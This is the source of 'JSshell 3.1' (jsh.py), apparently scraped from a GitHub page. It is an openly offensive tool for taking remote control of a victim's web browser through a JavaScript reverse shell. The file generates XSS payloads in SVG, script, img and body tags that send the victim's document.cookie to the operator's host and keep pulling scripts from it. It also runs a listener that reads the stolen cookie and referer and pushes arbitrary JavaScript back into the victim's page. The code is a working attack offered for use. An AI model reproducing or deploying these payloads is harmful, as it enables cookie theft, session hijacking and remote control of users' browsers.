-
Notifications
You must be signed in to change notification settings - Fork 114
/
Copy pathjsh.py
211 lines (174 loc) · 6.25 KB
/
jsh.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env python3
import socket
import sys
from requests import get
import argparse
red = '\033[1;31m'
white = '\033[1;m'
blue = '\033[1;34m'
if sys.platform == 'win32':
white = red = blue = ''
if sys.version_info < (3, 0):
input = raw_input
banner = '''%s __
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v3.1
''' % red
hp = '''JSshell uses javascript code as shell commands. Also supports some commands:
help This help
domain The source domain
pwd The source path
cookie The user cookie
snippet Write a snippet of code
exit, quit Exit the JS shell'''
parser = argparse.ArgumentParser(description='JSshell 3.1: javascript reverse shell')
parser.add_argument('-g', help='generate JS reverse shell payloads', dest='gene', action='store_true')
parser.add_argument('-p', help='port number (default: 4848)', dest='port', default=4848)
parser.add_argument('-s', help='source address (or hostname)', dest='host', default='')
parser.add_argument('-t', help='target to be used in payloads, default: [host]:[port] from -s and -p', dest='target', default=str())
parser.add_argument('-c', help='command to execute after get the shell', dest='command', default=str())
parser.add_argument('-w', help='timeout for shell connection', dest='secs', type=float, default=0)
parser.add_argument('-q', help='quiet mode', dest='quiet', action='store_true')
args = parser.parse_args()
host = args.host
target = args.target
gene = args.gene
cmd = args.command
secs = args.secs
try:
port = int(format(args.port))
if not 0 <= port <= 65535:
print('Invalid port: %s' % port)
quit
except:
print('Invalid port: %s' % port)
quit
if target:
source = target
else:
if not host:
host = get('https://api.ipify.org').text
source = "//{0}:{1}".format(host, port)
if args.quiet:
uprint = str
else:
uprint = print
payload = '''
- SVG: <svg/onload=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}?".concat(document.cookie)}},1010)>
- SCRIPT: <script>setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}/?".concat(document.cookie)}},1010)</script>
- IMG: <img src=x onerror=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}/?".concat(document.cookie)}},1010)>
- BODY: <body onload=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}/?".concat(document.cookie)}},1010)></body>
'''.format(source)
form = b'''HTTP/1.1 200 OK
Content-Type: application/javascript
Connection: close
'''
def shell():
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if secs != 0:
s.settimeout(secs)
buffer = input('%s>>>%s ' % (blue, white))
if buffer == 'exit' or buffer == 'quit':
break
try:
if buffer[-1] in ['{', '(', '[']:
openchar = buffer[-1]
while 1:
func = input(' ' * 10)
buffer += '\n' + func
try:
if func[-1] == openchar:
break
except:
pass
except:
pass
s.bind(('0.0.0.0', port))
s.listen(0)
try:
c, a = s.accept()
data = c.recv(2048)
if buffer == 'help':
print(hp)
elif buffer == 'snippet':
print('Use CTRL+D to finish the snippet')
print()
buffer = sys.stdin.read()
elif buffer == 'domain':
try:
print(domain)
except:
print('Could not get the source domain because the referer has been disabled')
elif buffer == 'pwd':
try:
print(pth)
except:
print('Could not get the source path because the referer has been disabled')
elif buffer == 'cookie':
try:
print(cookie)
except:
print('Could not get the cookie because there is no cookie or because of other reasons')
c.send(form + buffer.encode())
c.shutdown(socket.SHUT_RDWR)
c.close()
s.close()
except KeyboardInterrupt:
if sys.platform == 'win32':
print('\nControl-C')
s.close()
break
except Exception as msg:
s.close()
break
def main():
global cookie
global domain
global pth
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(('0.0.0.0', port))
except socket.error as msg:
print("Can't grab 0.0.0.0:%s with bind: %s" % (port, msg))
quit()
uprint(banner)
if gene:
uprint('%sPayloads: %s' % (white, payload))
print('%sListening on [any] %s for incoming JS shell ...' % (white, port))
s.listen(2)
try:
c, addr = s.accept()
resp = c.recv(1024).decode()
except KeyboardInterrupt:
if sys.platform == 'win32':
print('\nControl-C')
exit()
except:
s.close()
main()
if 'Accept' in resp and 'HTTP' in resp:
print('Got JS shell from [%s] port %s to %s %s' % (addr[0], addr[1], socket.gethostname(), port))
if '?' in resp.split('\n')[0]:
cookie = resp.split('\n')[0].split(' ')[1].split('?')[1]
for line in resp.split('\n'):
if 'referer' in line.lower():
referer = line[9:]
domain = referer.split('//')[1]
pth = '/'.join(referer.split('/')[3:])
if pth in ['', '\r']:
pth = '/'
if len(cmd):
c.send(form + cmd.encode())
print('%s>>>%s %s' % (blue, white, cmd))
c.shutdown(socket.SHUT_RDWR)
c.close()
s.close()
shell()
else:
s.close()
main()
main()